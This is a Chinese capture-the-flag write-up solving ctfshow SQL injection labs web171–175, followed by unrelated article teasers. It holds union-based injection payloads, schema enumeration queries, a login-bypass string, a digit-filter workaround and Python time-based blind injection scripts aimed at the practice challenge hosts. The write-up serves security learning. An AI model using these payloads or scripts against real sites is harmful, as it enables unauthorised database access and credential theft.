ctfshow-web入门-sql注入(web171-web175)

news2024/11/15 10:44:00

目录

1、web171

2、web172

3、web173

4、web174

5、web175


1、web171

单引号测一下,报错 

--+ 闭合后回显正常 

也可以用 # ,不过需要 URL 编码

成功闭合之后,先判断下字段数:

1' order by 3--+

3 的时候正常 

4 的时候报错,说明只有 3 列 

 测了一下,三个回显位都能正常回显:

0' union select 1,2,3--+

先查一下基本信息: 

0' union select database(),user(),version()--+

当前数据库名为 ctfshow_web 

这里说明一下,因为 mysql 5.0 及其以上的都会自带一个叫 information_schema 的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。 

查该数据库下的所有表:

0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctfshow_web'--+

其中 2 和 3  只是占位符  

可以看到存在一个名为 ctfshow_user 的表,我们继续查该表下的列名:

0' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user'--+

没看到 flag 这种关键字,因此我们 id,username,password 都查一下:

0' union select id,username,password from ctfshow_web.ctfshow_user--+

最终在 id 为 26 的 password 里找到 flag:ctfshow{64dd0daa-4600-4813-8ef2-cffa99a6f05f} 

当然这种没有绕过的给到 sqlmap 就直接一把嗦了,这里简便的方法也可以采用万能密码:

1'or 1 --+

2、web172

在无过滤注入 1 里面用万能密码未找到 flag

试一下注入 2 的,经过测试这里的回显位只有两个

数据库都懒得查了,用 database() 代替,直接查表:

0' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+

新增了一个 ctfshow_user2 的表,查一下该表下面内容,注意这里有一个检查,要求 username 的内容不能是 flag,才能正常查询成功,那么我们就不查 username ,查 id 和 password 就行了:

0' union select id,password from ctfshow_user2--+

当然也可以只查 password:

0' union select 1,password from ctfshow_user2--+

拿到 flag:ctfshow{97bd5892-2617-417a-8c2e-16134f741704}

如果查询内容有 username,因为 username 里包含了 'flag',因此无法正常回显 flag 的内容:

3、web173

判断一下这次又是三个字段数了,根据前面的规律,这次的表名应该是:ctfshow_web.ctfshow_user3,因为还是对输出过滤了 flag,所有我们还是不查用户名,用占位符占位即可。

payload:

只查 password

0' union select 1,2,password from ctfshow_web.ctfshow_user3--+

 

查 id 与 password 

0' union select id,2,password from ctfshow_web.ctfshow_user3--+

拿到 flag:ctfshow{eff707be-5727-412e-93be-2c75e5783fa5}

4、web174

还没查就报错了

这里有点问题,手动改一下请求文件为:select-no-waf-4.php

可以发现这里查询结果的输出不能出现数字

 

 

 

查询语句的内容也不能出现数字

可以查到数据库名:ctfshow_web ,因为数据库名里没有数字

但是查表名就不行了,根据前面规律,表名应该为 ctfshow_user4,包含了数字,所以结果出不来,不能直接查。 

0' union select group_concat(table_name),'a' from information_schema.tables where table_schema=database()--+

对输出结果进行替换后再输出,将数字都替换成字母,payload:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema=database()--+

查询结果为:ctfshow_userD 

D 对应的是 4 ,因此表名为:ctfshow_user4 

查询 password:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

得到:ctfshow{eIdGcBcc-cACA-DEIF-aGcB-aAJGdJddGBCe}

最后将查询结果的数字替换回去,也可以用 replace 函数,反过来即可。

这里用 python 实现:

def rev_replace(txt):
    repl = {
        'A': '1',
        'B': '2',
        'C': '3',
        'D': '4',
        'E': '5',
        'F': '6',
        'G': '7',
        'H': '8',
        'I': '9',
        'J': '0'
    }

    for k, v in repl.items():
        txt = txt.replace(k, v)

    return txt

txt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)

拿到 flag:ctfshow{e9d7c2cc-c131-4596-a7c2-a107d0dd723e}

5、web175

正常的查 1 都没有回显

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

正则匹配过滤掉的是所有 ASCII 字符(从 \x00 到 \x7f,也就是从 0 到 127 的所有字符,包括控制字符、数字、字母和符号)。

因此这里采用时间盲注,先测试一下:

1' and sleep(5)--+

观察页面确实存在延时 

我个人比较菜,然后一直都是脚本小子,这次自己来写一下,希望能更好的理解下时间盲注。 

首先看了下它这里除了查询的 id,还有另外的两个参数,这个我们在写脚本时也需要加进去,并且注意到,它调用的接口其实是 /api 下的 v5.php,而不是 select-no-waf-5.php 这个文件哦。

接下来我们先判断下它数据库名的长度,这个其实可以通过 burpsuite 的攻击模块爆破的,没关系,我们这里手写一遍,也锻炼下我们 python 的能力。

关于 burpsuite 用来爆破这种时间盲注,以及一些原理可以参考我之前的博客:

关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入_sql 语句 and sleep-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/Myon5/article/details/135241105?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172242605416800175758093%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=172242605416800175758093&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-135241105-null-null.nonecase&utm_term=%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450payload:

1' and if(length(database())=11,sleep(3),0) --+
import requests

url = 'http://e03daa7b-66ad-48fb-8349-da520b7f5fe8.challenge.ctf.show/api/v5.php'
i = 0
for i in range(1, 15):
    payload = f"id=1' and if(length(database())={i},sleep(3),0) --+&page=1&limit=10"
    # print(payload)
    re = requests.get(url, params=payload)
    time = re.elapsed.total_seconds()
    print(f"{i}:{time}")
    # print(re.url)

可以看到当数据库名长度为 11 时,响应存在延时,这与我们前面得到的数据库名为:ctfshow_web,长度就是 11符合。

下面使用两个 for 循环遍历数据库名,从第一个字符猜到第 11 个字符,字符的可能性这里字典设置的是小写字母加数字加下划线:

import requests
import string

url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_'
out = ''
for j in range(1, 12):
    for k in dic:
        payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10"
        # print(payload)
        re = requests.get(url, params=payload)
        time = re.elapsed.total_seconds()
        # print(f"{j}:{time}")
        if time > 2:
            print(k) 
            out += k #响应延时则将猜测的字符添加到结果里
            break #跳出内层的for循环,继续遍历下一位
print(out)


跑完得到数据库名为:ctfshow_web

接下来我们继续猜表名,这里就不先判断表名的长度了,设置范围大一点,以确保完整输出数据,使用标志位来判断是否到了最后一位:

import requests
import string

url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_'
out = ''
for j in range(1, 30):
    a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
    for k in dic:
        # payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10"
        payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"
        # print(payload)
        re = requests.get(url, params=payload)
        time = re.elapsed.total_seconds()
        # print(f"{j}:{time}")
        if time > 2:
            print(k)
            a = 0 #如果找到字符,则将标志位置0
            out += k
            break #跳出内层的for循环,继续遍历下一位
    if a == 1: #在进行下一次循环前,先判断当前字符是否找到
        break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

得到表名为:ctfshow_user5

我们可以通过调整 limit 的参数来获取到其他的表名,有时候也可以使用 group_concat 函数。

payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

在 SQL 中,LIMIT 子句用于指定查询结果中返回的行数,用法:

LIMIT offset, count

offset 是要跳过的行数,offset 从 0 开始计数,count 是要返回的行数。

比如:

LIMIT 0, 1

从查询结果的第 0 行(即第一行)开始,返回 1 行结果,即返回了查询结果的第一行。

LIMIT 1, 1

从查询结果的第 1 行(即第二行)开始,返回 1 行结果,即返回了查询结果的第二行。

这里尝试找第二行,发现一会代码就结束了,说明这里只有一个表:

接下来查列名:

payload = f"id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

这里只出了一个 id,因为换行导致我们误判为到了最后一个字符,因为我们的字典里只包括数字、小写字母和下划线,因此字符没找到,便跳出外层循环结束了代码。

注释掉最后两句判断结束的语句即可输出完整结果:

也可以通过 limit 来指定查询第三行的内容:

payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

因为我编程能力确实很差,所以这个代码还是存在很多问题的,需要继续改进和完善。

由于前面的题目,我们知道 flag 在 password 字段里,那么我们就查它:

由于 flag 不在第一行,因此我们再细化查询的条件,即 username='flag'

payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

因为 flag 内容还包括了大括号和减号,为了避免提早结束,我们拓展下字典:

dic = string.ascii_lowercase + string.digits + '_-{}'

结果的长度也得扩展:

for j in range(1, 100):

最终的脚本:

import requests
import string

url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'
out = ''
for j in range(1, 100):
    a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
    for k in dic:
        # payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10" # 猜数据库名
        # payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
        # payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
        # payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜列名
        payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜具体字段
        # print(payload)
        re = requests.get(url, params=payload)
        time = re.elapsed.total_seconds()
        # print(f"{j}:{time}")
        if time > 2:
            print(k)
            a = 0 #如果找到字符,则将标志位置0
            out += k
            break #跳出内层的for循环,继续遍历下一位
    if a == 1: #在进行下一次循环前,先判断当前字符是否找到
        break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

拿到 flag:ctfshow{d6c5132a-3611-4cd3-a840-37e6a68ac6dd}

同理,当我们注释掉最后两行判断结束的代码,并使用 group_concat,就算不追加 username='flag' 的条件,也是可以查到 flag 的,不过这个时间就比较久了,因为我们查的是所有的数据:

payload = f"id=1' and if(substr((select group_concat(password) from ctfshow_web.ctfshow_user5), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

大致就这样吧,不敢相信我竟然自己写了个盲注的脚本,还加了那么多注释和个人理解,我知道我的代码写得不好,因为还在慢慢学习嘛,对于时间盲注其实更高效的查询方法是二分法查询,这次我主要是练习下自己动手写代码的能力,如果你也是不会写代码,认真看完相信你也能收获些东西的,后面如果有时间,再给大家详细出一个二分法查找的代码。

看完感觉有收获的可以给我个赞或者关注吗哈哈哈,感谢支持!我们下篇博客再见。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1964461.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MyBatis 动态代理和映射器

一、映射器简介 1.什么是mapper动态代理? 在接口中有方法的返回值定义,参数的定义,方法名,在sqlMapper.xml 中也对应这接口给予了赋值, 这时候dao的实现类就显得多余,这是Mybatis可以帮助我们自动产生实现类&#xf…

H5+JS 4096小游戏

主要实现 1.使用WASD或方向按钮控制游戏 2.最高值4096,玩到4096视为胜利 3.随机生成2、4、8方块 4.移动方块 5.合并方块 JS代码干了什么 初始化游戏界面:创建游戏板和控制按钮。 定义游戏相关变量:如棋盘大小、棋盘状态、得分等。 初始化棋…

【MATLAB源码】机器视觉与图像识别技术实战示例文档---鱼苗面积预测计数

系列文章目录 第一篇文章:【MATLAB源码】机器视觉与图像识别技术—视觉系统的构成(视频与图像格式转换代码及软件下载) 第二篇文章:【MATLAB源码】机器视觉与图像识别技术(2)—图像分割基础 第三篇文章:【MATLAB源码】机器视觉与图像识别技术…

三星半导体业务动态:3nm技术及AI/HPC销售展望

#### 第二季度财报概览 7月31日,三星公布了2024年第二季度的财务报告,显示合并营业收入为74.07万亿韩元,营业利润为10.44万亿韩元(约75亿美元)。其中,DS(设备解决方案)部门的合并营…

深入探讨 Docker 容器文件系统

引言 随着云计算和微服务架构的兴起,Docker 容器技术迅速成为开发和运维人员的首选工具。Docker 容器不仅提供了一种轻量级的虚拟化方式,还简化了应用程序的部署和管理。在众多的技术细节中,Docker 容器文件系统是一个至关重要的组成部分。本…

Harmony学习(三)------ArkUI(3)

1.模版字符串 let name:string 模版字符串 let age:number 18 console.log(字符串:,${name}和${age})2.字符串和数字互相转换 //字符串转数字 let str1:string 1.1 console.log(转换,Number(str1)) //output: 1.1 console.log(转换,parseInt(str1)) //output: 1 conso…

笔记:VGGnet的实现

本文为B站UP 霹雳吧啦Wz 图片分类课程学习笔记,用于记录学习历程和个人复习 程序共分为三部分:model,train,predict。model.py用于存放模型,train.py用于存放训练时的程序,predict.py用于存放预测的程序,vgg16Net.pth…

从技术博客到个人 IP 矩阵:全面攻略与实战示例

文章目录 摘要引言创建博客选择平台设计和布局 内容规划明确目标受众设定内容方向制定发布计划 SEO 优化关键词研究内链和外链元标签优化 社交媒体推广选择社交平台制定推广策略 可运行的 Demo 代码模块QA 环节问:如何增加博客的曝光度?问:如…

使用 ChatGPT 检测媒体偏见的潜力和局限性

概述 随着数字时代的到来,信息瞬间传遍全球,但其中也不乏各种偏见。媒体偏见",即对某些观点的选择性报道,会影响人们对某一事件或问题的看法,并对公众舆论产生重大影响。事实上,许多人都认为主要媒体…

国内本地化OCSP服务的SSL证书:提升安全与效率的新选择

在数字化时代,网络安全成为企业运营和用户体验的重要基石。HTTPS(Hypertext Transfer Protocol Secure)作为一种安全的网络协议,通过SSL(Secure Sockets Layer)加密技术,保障了数据传输的机密性…

网络协议二 : 使用Cisco Packet Traceer工具模拟网络环境,集线器,网桥,交换机,路由器,MAC,IP,同一网段,子网掩码,子网划分

1. 安装 Cisco Packet Tracer baidu 网盘地址,感谢大神分享 安装,破解,中文化,都有说明,建议使用7.x的那个版本,感觉比8.x的翻译要完整一点 https://pan.baidu.com/s/18iWBOfhJJRhqgQqdNQcfMQ?pwddcch#…

【考研数学】概率论中集合间的运算图示

今天要给大家分享的笔记是:《概率论中的4种“集”:交集、并集、差集、补集》:

修复msvcp120.dll丢失的问题的几种简单方法,msvcp120.dll是什么

在使用电脑时,你可能会遭遇一个提示称“msvcp120.dll丢失”的错误信息。这个问题比较普遍,主要是因为你的系统中缺失了某个特定的动态链接库(DLL)文件。msvcp120.dll是由 Microsoft Visual C 可再发行包提供的关键文件&#xff0c…

【C++】C++11新增语法(右值引用、完美转法)

文章目录 1.C11新增常用语法1.1 统一的列表初始化1.2 initializer_list初始化1.3 声明相关1.4 继承与多态相关 2. 右值引用与移动语义2.1 左值引用与右值引用2.2 右值引用与移动语义的使用场景2.3 右值引用引用左值(move) 3. 完美转发4. 新的类功能4.1 新增两个默认成员函数4.2…

测试开发面试题,助你拿高薪offer

进入金九银十,很多小伙伴有被动跳槽的打算,所以更新一些测试开发 面试题,希望能帮到大家。 一 请说一下HTTP 状态码 HTTP状态码大致分为5类: 常见的http状态码如下: 二 python中“” 和“ is ”的区别 is 和 都可以进行对象比…

bash: llamafactory-cli: command not found解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

探索翻译新世界:2024年超越期待的翻译应用推荐

现在社会因为交通、互联网的便利,不同国家之间的交流变得简单起来。无论是商务合作、学术研究还是日常沟通,准确、快速地跨越语言障碍都显得尤为重要。今天我来介绍一些和百度翻译类似的多用途的翻译工具。 1.福昕在线翻译 链接一下>>https://fa…

《LeetCode热题100》---<4.子串篇三道>

本篇博客讲解LeetCode热题100道子串篇中的三道题 第一道:和为 K 的子数组 第二道:滑动窗口最大值 第三道:最小覆盖子串 第一道:和为 K 的子数组(中等) 法一:暴力枚举 class Solution {public in…

C语言进阶 13. 文件

C语言进阶 13. 文件 文章目录 C语言进阶 13. 文件13.1. 格式化输入输出13.2. 文件输入输出13.3. 二进制文件13.4. 按位运算13.5. 移位运算13.6. 位运算例子13.7. 位段 13.1. 格式化输入输出 格式化输入输出: printf %[flags][width][.prec][hlL]type scanf %[flags]type %[fl…

yolo格式数据集之空中及地面拍摄道路病害检测7种数据集已划分好|可以直接使用|yolov5|v6|v7|v8|v9|v10通用

yolo格式数据集之空中及地面拍摄道路病害检测7种数据集已划分好|可以直接使用|yolov5|v6|v7|v8|v9|v10通用 本数据为空中及地面拍摄道路病害检测检测数据集,数据集数量如下: 总共有:33585张 训练集:6798张 验证集:3284张 测试集&a…